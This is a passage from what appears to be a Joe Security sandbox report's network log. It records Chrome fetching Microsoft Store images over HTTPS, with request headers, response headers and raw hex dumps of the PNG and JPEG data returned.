fc ab ee 6d 59 b2 16 ab df ab 23 dd be f7 7d 4b 55 7d f5 55 fd eb 7f 4e 9d 3a 45 d4 a5 4b 97 2e 5d ba 74 e9 d2 a5 4b 97 
2e 5d ba 74 e9 d2 a5 4b 97 2e 5d ba 74 e9 d2 a5 4b 97 2e 5d ba 74 
Data Ascii: PNGIHDR,,y}upHYssRGBgAMAaIDATxUx{%-Knm[vdjc'X2C`b2M?v%$`2BA2`YmK),%k^~wmY#}KU}
UN:EK.]tK.]tK.]tK.]t

2022-05-26 11:45:36 UTC 711 IN Data Raw: cc 93 02 ab d3 08 d2 0b cf 2b 04 5c b6 97 eb f5 f1 c7 1f cf 8c eb 0f fe e0 0f 5e 71 d6 ae ed 17 2c 2c 2e a7 3d 
21 a5 46 48 1d 52 2b 86 52 31 1b 30 61 d1 4c 76 65 97 a9 c1 de 98 11 57 46 f7 5c af 81 1a 96 56 a7 27 3f 61 36 c0 d3 30 
3f 2f 4b cf fe 16 04 64 28 b1 00 23 30 2b 4f 5c 4b b1 b4 bc 74 e7 ef fe d6 7f f8 6c fa 2b b2 d3 fc 5e 74 2b af f5 68 bf 4a d2 
19 56 23 b1 1d 5c 95 9c 44 57 d7 12 60 25 87 d1 b2 d9 84 8d b8 36 da 51 65 7f d0 96 a8 56 0e 60 4d 6a 8b d2 46 cf 36 
c2 e3 08 ee 8d b4 48 36 88 7b 74 4b 6d e3 c8 e0 ca bd 64 ac 22 45 29 f5 0e 91 13 61 46 f6 c6 72 cf e0 1d 44 d9 a3 31 36 
92 6d c4 94 6c 51 f2 a2 be 5d 17 d5 9a 27 f5 81 03 07 86 68 9f 7a 46 3a 45 5e 92 22 11 1b c8 d7 be a9 01 79 1c 6d 5f e3 
cb 2f bf fc cd 1a 1b 2c 45 7d 4d 2e 14 64 6c 63 f0 
Data Ascii: +\^q,,.=!FHR+R10aLveWF\V'?a60?/Kd(#0+O\Ktl+^t+hJV#\DW`%6QeV`MjF6H6{tKmd"E)aFrD16mlQ]'hzF
:E^"ym_/,E}M.dlc

2022-05-26 11:45:36 UTC 719 IN Data Raw: 04 67 8f e4 e7 14 8c 42 35 f8 b0 b3 b8 00 37 31 bb 49 01 51 3f fd 73 ea b8 d9 af 6c 39 4e 72 16 dd bb 77 ef 86 
75 67 50 d9 28 0c 2b bd e4 bc 8b f0 d2 d2 4a 09 5b a2 33 51 d2 68 92 ba 33 72 fb 46 19 8d 85 51 e1 4e d0 6a a5 60 33 8f 
e4 36 6f aa 13 11 9b 0d c4 9a 60 70 f7 a1 91 35 4e 27 24 d8 57 fc 1e 21 21 76 65 f1 db 0a 4a eb ac df 05 df 5b 30 d8 6a 
13 98 fb 57 4d c5 81 09 f3 81 c9 2b 1b b6 6d 37 eb ca 3e 9c 53 63 35 9e ab a7 be 82 44 4e b3 c4 0b 63 59 9e 1c e0 21 65 
e9 0a 58 6d f4 19 58 76 9e 36 03 fe e0 66 9f c6 37 cd 8a 6c 15 e3 b3 6f 8c ec 49 a1 13 1a c0 0c 4e e2 93 2b 70 44 1f 1a 
0d e4 dc 24 a3 60 a3 f6 32 b4 63 11 b9 0d 6c 04 76 2e fb 96 44 94 8d 2b aa d9 35 f1 aa 3b ee bc fd 3a 6a b6 f3 4a a7 65 
ff c1 0d 2d 1b 02 b0 12 bb 2a 51 2c d7 28 85 de 4d 6b 
Data Ascii: gB571IQ?sl9NrwugP(+J[3Qh3rFQNj`36o`p5N'$W!!veJ[0jWM+m7>Sc5DNcY!eXmXv6f7loIN+pD$`2clv.D+5
;:jJe-*Q,(Mk

Session ID Source IP Source Port Destination IP
Destination
Port

Process

41 192.168.2.4 49777 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:45:36 UTC 618 OUT GET /image/apps.55990.13510798886747090.a0953092-5fc3-46f0-aefa-796cb3a9b90b.1c9f2174-7e18-48ba-af90-
e569a2444a83?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-26 11:45:36 UTC 695 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 36301
Content-Type: image/jpeg
Last-Modified: Mon, 09 Aug 2021 18:25:01 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDk1QjYzMDA1MzJGOEY"
MS-CV: q3l8T0dRYkekS5SG.0
Access-Control-Expose-Headers: MS-CV
Date: Thu, 26 May 2022 11:45:36 GMT
Connection: close
Access-Control-Allow-Origin: *

Copyright Joe Security LLC 2022 Page 171 of 222



2022-05-26 11:45:36 UTC 695 IN Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 
79 00 01 00 04 00 00 00 64 00 00 ff e1 03 8e 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 
2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 
48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 
64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 36 
2e 30 2d 63 30 30 36 20 37 39 2e 64 61 62 61 63 62 62 2c 20 32 30 32 31 2f 30 34 2f 31 34 2d 30 30 3a 33 39 3a 34 34 
20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 
Data Ascii: ExifII*Duckydhttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmp
meta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c006 79.dabacbb, 2021/04/14-00:39:44        "> <rdf:RDF 
x

2022-05-26 11:45:36 UTC 731 IN Data Raw: cc b7 c7 67 22 36 f7 6c d2 0e d3 d0 48 03 3b 15 25 7a 8a fa 1f e3 c1 49 a0 f3 0b 31 90 cf 3e ea 51 a3 8d c3 85 
ee bd 9d c8 d3 8d e8 3e a9 d5 aa e4 6b 7e e7 7f ef e9 ea 12 6c 9f 72 d8 c0 50 34 8d cb f8 f1 1d 6f e2 c8 b2 17 00 3c 8d 
d8 d5 f2 a5 3d 6b fc 38 42 5f 90 8f 3a ed 4c cc 06 0f 19 19 b3 b9 73 c8 6a 98 64 cf 84 83 69 0b c5 5c 41 a0 b7 67 fd 79 42 
44 73 4b be e4 e8 c3 18 e1 bd 51 1b 06 b1 e8 f4 5f 71 88 8e 90 c6 6c 3a 5b 7d 5e 46 ab 0c 64 4c eb d3 bb 33 2f e9 a9 ff 
00 62 24 3a 8d 7a b1 00 74 27 84 a7 96 6e ed e0 b7 ba 82 09 07 ed 96 72 18 63 a7 fe a4 a3 91 a7 fb 31 d1 c9 ff 00 13 03 
f2 a5 d5 c5 fc 6d 6b 95 e3 da 2a 3b ea 5a bb e9 9c 7f 97 b1 b0 b1 8b 6f 1b f7 38 05 b6 bd bb ae d5 7b 33 22 9b ec 9e 91 
a3 45 21 14 65 47 b1 ea 77 23 91 7e ab e8 6f 74 67 
Data Ascii: g"6lH;%zI1>Q>k~lrP4o<=k8B_:Lsjdi\AgyBDsKQ_ql:[}^FdL3/b$:zt'nrc1mk*;Zo8{3"E!eGw#~otg

2022-05-26 11:45:36 UTC 739 IN Data Raw: 5b 15 23 9e d6 14 d1 89 64 3f 65 ee fb c6 23 10 ad 5f 71 8d 54 c8 da 98 d9 b1 f8 38 7f 6e 05 ff 00 70 53 2b 95 
fc e2 15 7d 29 19 eb cd e4 04 b7 a5 55 3e 3c 43 42 12 6d 57 77 1f ff 00 58 15 5f 81 94 8a bb 9f f7 01 0a 0f c0 b1 eb c2 6d 
f2 27 8c aa 3c e4 c2 58 e3 f8 f7 98 e5 d6 d8 60 5b 77 0e ba 96 60 06 b8 cd 45 e3 5e 8c 9b 71 62 20 b5 b6 e3 2c d4 62 8a 
31 fd c3 fb 31 15 1a c0 f6 ab fb f6 db e0 9f b6 bc 2c 9e 3a 5d cf 65 70 cb bf 2f a2 1d f2 e0 34 29 d7 44 0b 42 5a 30 82 95 
20 d4 b1 ab 2d 45 02 27 33 e5 0c 9e d4 dc a9 0d fd 91 3b 71 65 d4 1d 4f ea 37 f8 9e bf 95 89 3d 54 d2 84 52 a3 85 41 c4 
5e 06 72 1d 9c 4e 48 b7 d1 50 5b 8e 46 4b fa 82 2c 4a 0a 28 92 2c ac 56 3e 50 04 35 fd 90 95 83 6b 0b 09 03 15 43 11 
e8 8f ee 21 1a fe c7 b5 cc ee 58 6f 5d d9 26 c4 dc 
Data Ascii: [#d?e#_qT8npS+})U><CBmWwX_m'<X`[w`E^qb ,b11,:]ep/4)DBZ0 -E'3;qeO7=TRA^rNHP[FK,J(,V>P5kC!Xo]&

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

42 192.168.2.4 49778 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:45:36 UTC 678 OUT GET /image/apps.58878.9007199266246761.3059e916-5e99-4797-a868-366cc8761e37.21987aba-4948-4f44-bf2e-
eba90517f1c5?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-26 11:45:36 UTC 750 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 10442
Content-Type: image/png
Last-Modified: Tue, 14 Apr 2020 05:45:00 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDdFMDM2RjkwOEZGQzA"
MS-CV: TWvnrk8ibEGqh+7Q.0
Access-Control-Expose-Headers: MS-CV
Date: Thu, 26 May 2022 11:45:36 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-26 11:45:36 UTC 751 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 
28 91 49 44 41 54 78 da ed 9d 79 74 1c 57 95 ff ef eb 6e ad 2d 39 76 bc 44 56 e2 10 3b b6 e3 38 4c 2c 5b 71 92 99 31 8e 
6d 30 21 0b 09 f0 3b fc f0 19 96 13 e0 cc 1c cc 09 f0 0f bf 43 20 1c 7e 87 01 32 24 19 18 c2 12 fe 08 1e 30 cb 4c 20 24 0e 
63 20 24 31 89 c9 26 db f1 92 c4 96 f7 45 72 6c cb 5b 64 5b 8b 6d a9 bb eb 4d bd ea aa ea 57 af df ab aa d6 66 59 fa 7e 
a0 d2 5d dd 2d a9 25 ab 3e ba f7 d6 ad fb 18 e7 9c 00 00 e0 62 20 81 1f 01 00 00 c2 02 00 00 08 0b 00 00 61 01 00 00 84 
05 00 00 10 16 00 00 c2 02 00 00 08 0b 00 00 20 2c 00 00 84 05 00 00 10 16 00 00 40 58 00 00 08 0b 00 00 20 2c 00 00 
80 b0 00 00 10 16 00 00 40 58 00 00 00 61 01 00 20 2c 00 00 
Data Ascii: PNGIHDR,,y}u(IDATxytWn-9vDV;8L,[q1m0!;C ~2$0L $c $1&Erl[d[mMWfY~]-%>b a ,@X ,@Xa ,

Session ID Source IP Source Port Destination IP
Destination
Port

Process

43 192.168.2.4 49780 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-05-26 11:45:36 UTC 761 OUT GET /image/apps.65344.13576748414566955.3d986480-8c1e-4271-9c7c-a90619002084.2a7e9f85-6e2d-4bc7-ad81-
13196f5baf00?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-26 11:45:36 UTC 762 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 17018
Content-Type: image/png
Last-Modified: Wed, 23 Mar 2022 12:32:14 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REEwQ0M5Mjk0RDY0MzI"
MS-CV: 8/oQHq+FgEulH2fF.0
Access-Control-Expose-Headers: MS-CV
Date: Thu, 26 May 2022 11:45:36 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-26 11:45:36 UTC 762 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 02 00 00 00 68 9f a7 5f 00 00 42 
41 49 44 41 54 78 9c e5 bd 77 bc 1d c5 79 37 fe 7d 66 77 4f b9 bd e9 ea 0a 15 54 69 92 e8 5d 18 8c c1 18 8c 6d dc 30 c6 
80 13 3b af eb 1b a7 d8 71 12 fb 8d 93 bc bf bc 49 ec c4 25 ee 49 5c 08 71 23 06 63 30 8e 0d c1 18 63 03 a6 08 90 00 21 
40 42 5d ba bd 9f ba bb 33 cf ef 8f 6d 33 bb 7b ae 84 83 4b 92 f9 dc cf b9 7b 66 a7 3e df a7 cd 33 b3 7b 08 37 4d e1 c8 13 
bd a8 c5 e2 c4 2f 52 99 ff d6 c9 7e 01 65 17 06 e0 85 c2 93 5b 77 01 3c e8 70 05 fe bb a7 23 83 6a 01 18 8e 54 ce 32 e5 
38 8f ea a9 52 d9 22 ff 83 01 7b 21 52 95 4a ad 40 ca a2 72 24 c5 16 40 ae 15 60 68 71 f7 bf 69 3a 1c 54 b9 64 cf cf cc 
e4 1e b9 4a 64 b3 7a 0a b6 85 25 e9 7f 8c 9c bd 70 a9 
Data Ascii: PNGIHDRh_BAIDATxwy7}fwOTi]m0;qI%I\q#c0c!@B]3m3{K{f>3{7M/R~e[w<p#jT28R"{!RJ@r$@`hqi:TdJdz%p

2022-05-26 11:45:36 UTC 778 IN Data Raw: 2e 89 b3 99 e6 82 2f 2c 95 09 72 e6 b7 90 ed 9d 92 ea da dd 78 17 98 c3 df a0 4a 50 49 49 83 2e 4c a6 23 9e 
63 81 90 94 4f 3b 20 5a 23 39 d5 22 6e d2 39 37 cb 95 09 72 9c 63 06 c8 2c 93 dc cb aa c5 5c a2 e9 03 8b 2b ea a9 85 
6e e4 2c 11 72 3b cb 65 70 4a 3e 13 96 32 e4 58 db b0 67 ed 45 4f b1 43 a1 53 3c bb 6c 4a c9 5f aa 77 43 51 b4 12 5c 
73 26 9c 47 cd b8 71 1d 98 d4 6c 75 60 62 5f d4 28 db 3a b4 18 2b 9b 1c a1 4c b1 08 99 76 41 6f 79 01 f9 5b 40 86 a0 89 
51 5e 19 4d 75 d9 89 4c 28 ad 50 cc fb c1 67 1c a8 8d 49 96 95 aa dc 81 72 d6 ad 8f 3f b5 f8 50 4c ac 94 ea cb 5c 66 ec 
8d d6 5a ba 64 eb 00 55 9c a1 f3 6e 6a 1b 0c 6c 48 67 68 d8 62 bc 29 d9 de 33 ea 99 e3 cf 32 6b 5c 3d bb 07 94 10 3f 6f 
2e 61 64 3d d1 48 1a 92 71 70 96 75 a6 36 77 16 74 d9 d2 9b cf 
Data Ascii: ./,rxJPII.L#cO; Z#9"n97rc,\+n,r;epJ>2XgEOCS<lJ_wCQ\s&Gqlu`b_(:+LvAoy[@Q^MuL(PgIr?PL\fZdU
njlHghb)32k\=?o.ad=Hqpu6wt

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

44 192.168.2.4 49781 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:45:36 UTC 761 OUT GET /image/apps.62687.13510798885854323.6a8c11ad-84e9-4247-9ba9-ab3742bdbb87.e61dfadd-3bdd-4f66-beb1-
6bb763b60b02?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-26 11:45:36 UTC 779 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 142254
Content-Type: image/png
Last-Modified: Mon, 10 Jun 2019 11:14:58 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDZFRDk0REZGNkE2RjM"
MS-CV: 3ZtNXbGcZUui37wn.0
Access-Control-Expose-Headers: MS-CV
Date: Thu, 26 May 2022 11:45:36 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-26 11:45:36 UTC 780 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 0e 00 00 01 0e 08 02 00 00 00 f7 d3 6e f2 00 00 00 
09 70 48 59 73 00 00 2e 23 00 00 2e 23 01 78 a5 3f 76 00 00 0a 4f 69 43 43 50 50 68 6f 74 6f 73 68 6f 70 20 49 43 43 20 
70 72 6f 66 69 6c 65 00 00 78 da 9d 53 67 54 53 e9 16 3d f7 de f4 42 4b 88 80 94 4b 6f 52 15 08 20 52 42 8b 80 14 91 26 
2a 21 09 10 4a 88 21 a1 d9 15 51 c1 11 45 45 04 1b c8 a0 88 03 8e 8e 80 8c 15 51 2c 0c 8a 0a d8 07 e4 21 a2 8e 83 a3 
88 8a ca fb e1 7b a3 6b d6 bc f7 e6 cd fe b5 d7 3e e7 ac f3 9d b3 cf 07 c0 08 0c 96 48 33 51 35 80 0c a9 42 1e 11 e0 83 
c7 c4 c6 e1 e4 2e 40 81 0a 24 70 00 10 08 b3 64 21 73 fd 23 01 00 f8 7e 3c 3c 2b 22 c0 07 be 00 01 78 d3 0b 08 00 c0 4d 
9b c0 30 1c 87 ff 0f ea 42 99 5c 01 80 84 01 c0 74 91 38 4b 
Data Ascii: PNGIHDRnpHYs.#.#x?vOiCCPPhotoshop ICC profilexSgTS=BKKoR RB&*!J!QEEQ,!{k>H3Q5B.@$pd!s#~<
<+"xM0B\t8K
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2022-05-26 11:45:36 UTC 796 IN Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
Data Ascii:                                                                                                                                                                         
                                                                                     

2022-05-26 11:45:36 UTC 812 IN Data Raw: 98 24 56 a1 ef 59 0b 49 aa 90 61 10 04 0c a1 d3 e9 65 be 2f 70 a5 31 56 29 5d ad 55 84 14 48 44 d6 26 49 0a 
44 5c 0a d7 f1 2a 41 b8 b9 dd 22 ab 1d 29 3b dd de fc c2 5c 18 06 2f bd 74 5a 30 b4 d6 0a e9 70 c6 06 83 01 08 21 18 1d 
99 72 1b ae f4 99 f5 24 33 8c 47 16 99 22 96 25 87 c6 12 59 6e ed e1 49 ff f0 84 f7 3d 47 27 ae b5 a2 33 ab fd 97 56 3a 
67 d7 07 db fd f4 56 fa 07 13 7c 6a b2 2e 1d 71 fd c6 7a bf 1f 51 21 08 2f 39 73 90 75 06 f1 20 89 03 57 02 00 43 71 f1 ea 
cd 41 92 86 be cf 48 45 91 dd d8 6e f7 e3 78 b2 16 00 19 ce a0 d5 e9 6d b6 da 3f ff f0 ac 26 b3 36 80 25 6b d6 d7 d6 6f 
5c bf ae b5 56 2a dd da de 52 49 8a 88 83 c1 60 d0 ef 75 da 3b 4a 93 49 95 ef 88 9d 5e 6c 81 b4 d6 2a 55 9d 6e 27 8e e3 
7a bd a1 b5 01 20 5e 4c aa e4 5c 64 a3 2b a6 67 e6 24 
Data Ascii: $VYIae/p1V)]UHD&ID\*A");\/tZ0p!r$3G"%YnI=G'3V:gV|j.qzQ!/9su WCqAHEnxm?&6%ko\V*RI`u;JI^l*Un'z 
^L\d+g$

2022-05-26 11:45:36 UTC 814 IN Data Raw: 8e 83 52 40 a1 e0 41 da 90 4a b2 99 79 2e c7 b9 5a c5 0f bc 14 78 5f 43 37 b6 8e 14 13 b5 60 69 61 52 2b bd 
b6 dd de d8 6c c5 51 5c af 85 d5 66 4d a7 09 43 ac d5 e5 f2 1e f6 e0 71 8c 12 bd d5 49 2e ac 75 6f 6c f7 8f cf f8 4d 5f de 
1c d8 b7 1c 99 ba b4 d1 bf d9 8e 57 37 77 00 e0 8e 99 f0 03 f7 ce 9d bc d9 3d 75 b3 e7 fb 3e 00 ad 6c b4 97 67 82 7f f9 
b7 1f 98 6c 04 17 b6 36 3b b1 8e 35 4a 97 6b ad 77 da dd 24 55 81 1f 0e a2 48 6b 25 a5 34 26 1b f5 a7 ad 25 6d 0c 2a 32 
84 46 53 92 c6 c6 e8 5e b7 e3 38 ae 10 b2 db ed 6a a5 8d b5 04 94 24 49 1c c7 b5 5a 6d d0 ef ed 3f 78 c4 97 a0 e3 b1 5a 
ca 6e 4a d2 6b 97 23 6f ff e2 ed 9a c0 4a 75 c9 dd a9 7c 99 50 b8 8b b0 3c a6 ea 82 63 9e 84 0d 9b c3 4a 61 5b 6e 1b 58 
2e 41 92 b1 79 ce 6d 33 78 97 03 23 60 36 37 ad dc 3c 
Data Ascii: R@AJy.Zx_C7`iaR+lQ\fMCqI.uolM_W7w=u>lgl6;5Jkw$UHk%4&%m*2FS^8j$IZm?xZnJk#oJu|P<cJa[nX.Aym
3x#`67<

2022-05-26 11:45:36 UTC 830 IN Data Raw: fa 6a 27 e9 58 03 e7 34 b0 06 68 50 93 a6 20 56 51 65 6a 27 06 9c 3b ef 25 04 0a 30 36 61 96 a0 aa ea 00 9e 
32 b2 39 1e 88 6d 0b dc 2f 96 56 d6 9f b8 f0 fe 9b d7 83 68 c6 24 44 4c 7a 48 f4 6a 5a 00 45 00 02 69 0c eb 0a 22 26 b7 
d9 62 7b 36 0b e3 ad 71 c2 52 e4 96 1b 55 a4 2a 98 94 11 44 34 10 02 21 08 82 68 68 08 5e e2 29 6f 07 20 80 c2 9d ab 
1a 42 a8 cb de c9 b3 59 bb f3 d0 62 b1 75 c0 2f 6d d6 c6 70 33 5f 12 8d a9 15 7a 74 56 ee 0a 30 d2 43 2c e6 3c 83 49 61 
1b 33 17 0e 33 ce 1b 0d 9f 73 4e 45 c8 18 c3 cd 5e 86 99 54 e0 bd 87 c6 63 83 78 c6 d8 34 e8 96 10 fc 62 2b 6d a5 7c f7 
80 4b 71 97 fc 26 9e 18 55 0d a2 22 1a 82 b2 51 e2 08 61 26 51 41 88 9d dc dc d6 ab 77 6d 5f 0e 07 7f 74 c4 f2 92 79 5d 
1b 15 b8 12 48 05 9a 82 18 96 90 e4 e0 1c 1a a2 82 a5 99 77 
Data Ascii: j'X4hP VQej';%06a29m/Vh$DLzHjZEi"&b{6qRU*D4!hh^)o BYbu/mp3_ztV0C,<Ia33sNE^Tcx4b+m|Kq&U"Q
a&QAwm_ty]Hw

2022-05-26 11:45:36 UTC 847 IN Data Raw: a1 6c d8 4e 43 b0 12 7e e8 de 64 b5 3d fa d6 2b 3c 9b 2d fe c0 0f 26 9f fc 5c 3d 1a b8 8d 5b 3c 18 e0 e6 0d 37 
1a 4e 27 b3 e9 d6 f6 74 6b bb 9c 56 0e b0 40 ef c4 6a ff c9 fb 57 7e e8 c3 8b 1f bd df f6 33 37 1c f8 dd 99 36 dd be 77 ae 
d2 e0 ab c1 c1 5b 2f bd fa b7 bf 76 e9 3b b7 6a 00 dd 5e 97 99 76 77 07 69 9a 1a c3 d3 89 e3 34 5b 6f 49 2f a5 a0 0c 8a 
b9 2d b1 dc 8b e0 22 d5 20 5a 4f 65 74 87 d9 2a 8b c6 38 21 6d f8 67 94 b4 61 ac fa 0a c4 1c 43 82 1b c3 0c 35 a6 f9 e0 
29 cd f4 e0 75 f8 09 ad 3c a5 9c 13 29 19 0b 4e e7 d9 52 02 b6 e0 04 50 b8 09 c2 0c d5 16 c4 c3 58 22 85 04 b0 c2 30 84 
41 99 06 07 32 c8 5a 08 53 f8 0a 9c 80 69 6b 73 44 ab 8f 64 eb 0f 13 82 c9 5f 0d ee 40 17 2e 6a fa dd 83 1b ef 4e b6 af 
b4 57 16 83 93 e9 e6 8d 9c 7d ab 53 90 77 60 03 28 
Data Ascii: lNC~d=+<-&\=[<7N'tkV@jW~376w[/v;j^vwi4[oI/-" ZOet*8!mgaC5)u<)NRPX"0A2ZSiksDd_@.jNW}Sw`(

2022-05-26 11:45:36 UTC 879 IN Data Raw: 3b 0e 8f 1e a9 5d e6 ea e4 48 bd 8d 25 b0 b2 86 d6 13 16 e7 93 ca 91 72 a2 2a c2 41 3d 07 92 00 38 5f 33 85 
ea f6 e6 de 1b 57 b7 0c 82 05 48 54 99 e8 ce 20 78 6e 98 8e ed de 8b a5 31 10 30 6c 92 5f bc 7c 71 eb ca d5 a7 1e 7c 
68 61 fd d8 be c8 d6 5f 3d 7f e3 89 c7 6f fd 4f ff 34 fb cc 67 97 41 45 f0 5f d9 b8 7d 7a 34 ba 6b 75 b5 d3 e9 16 65 69 99 
1f 39 71 b2 0c fe b5 bd dd 62 c3 9f ad aa 63 c7 4f dc 7b ea d4 c5 da b9 e9 d4 95 05 03 db 1f fe ed d9 ab 6f 4c af 5c d9 77 
d2 3f 3c a8 8a e1 cd ba b0 a9 b1 eb 7d 3e b6 30 ea a4 b6 d3 3d 75 ef 7d 57 3f fc 1b bb 9f f9 e2 c3 9d de c2 d2 f2 8d dd dd 
ab c3 7d 01 d6 07 8b 67 d7 d6 8c b1 d7 76 77 77 86 a3 4e 9e 1d 5b 5a ea 67 39 a0 d7 c7 a3 57 f6 f7 72 a4 f7 f7 8f 3d f4 
2e dc ff c7 8b 13 0f 98 7c 65 01 59 0a 4a 21 16 81 
Data Ascii: ;]H%r*A=8_3WHT xn10l_|q|ha_=oO4gAE_}z4kuei9qbcO{oL\w?<}>0=u}W?}gvwwN[Zg9Wr=.|eYJ!

2022-05-26 11:45:36 UTC 895 IN Data Raw: c8 a7 ef a2 b5 75 bc ff bd b8 fb 2e 3c f3 0c 5e 7e 05 93 a9 5a 83 4e 6e 96 96 fa c6 f4 7b fd ea f0 60 34 1c ed 
17 d3 51 39 1d bf 5a e9 9b 63 c9 3a 49 b2 db a1 3d 37 a2 24 4f 7c c7 8d ae 14 d5 e4 c0 be ef 09 4a fa ba 31 a4 de 59 77 
ed 16 16 57 55 ab b0 b7 0b e6 3c 31 36 48 f0 ea bc af 67 f5 6c 7b 72 f3 e5 bd e9 f1 ee e2 4a 96 80 4d d2 e9 2d f7 17 d7 
d0 5f 2e f3 94 6c 96 90 b1 06 6a a1 6c 18 56 89 63 de eb dc 0e 43 31 03 cf 15 75 31 2a cb 61 55 4e eb 50 07 b2 94 a4 26 
c9 ad 49 a8 31 35 73 14 4a 89 88 06 27 ae 0c ae f2 c1 2b a0 4c 88 78 32 af c1 8c b4 b3 81 72 8c 4b 86 6f b2 0d aa 95 a3 
b1 e3 a1 37 85 10 1c 6f af 57 d7 7b c1 78 74 e2 37 5b c1 0c 9b 21 ef a2 bf c8 44 5a cf 14 be 69 e2 89 40 06 24 77 24 a3 
09 1a fd aa c7 e2 31 54 33 20 a0 6f 31 30 aa 0a cb e8 
Data Ascii: u.<^~ZNn{`4Q9Zc:I=7$O|J1YwWU<16Hgl{rJM-_.ljlVcC1u1*aUNP&I15sJ'+Lx2rKo7oW{xt7[!DZi@$w$1T3 o10

2022-05-26 11:45:36 UTC 902 IN Data Raw: 5d 6b 8c 9e 8a 64 09 3a 5a 78 0b 28 f6 21 42 f0 11 83 02 aa 99 5c 7b 9f 78 cf c1 93 eb 85 e9 43 e5 e8 81 c2 
ad 7a 04 f0 3e 4c 02 9b c2 da 36 43 a2 4d 3b 89 2a 2f c3 48 73 b6 26 a9 8b 50 cd 7c 5d 22 cd 23 f6 8e f3 2c 4b 73 52 68 
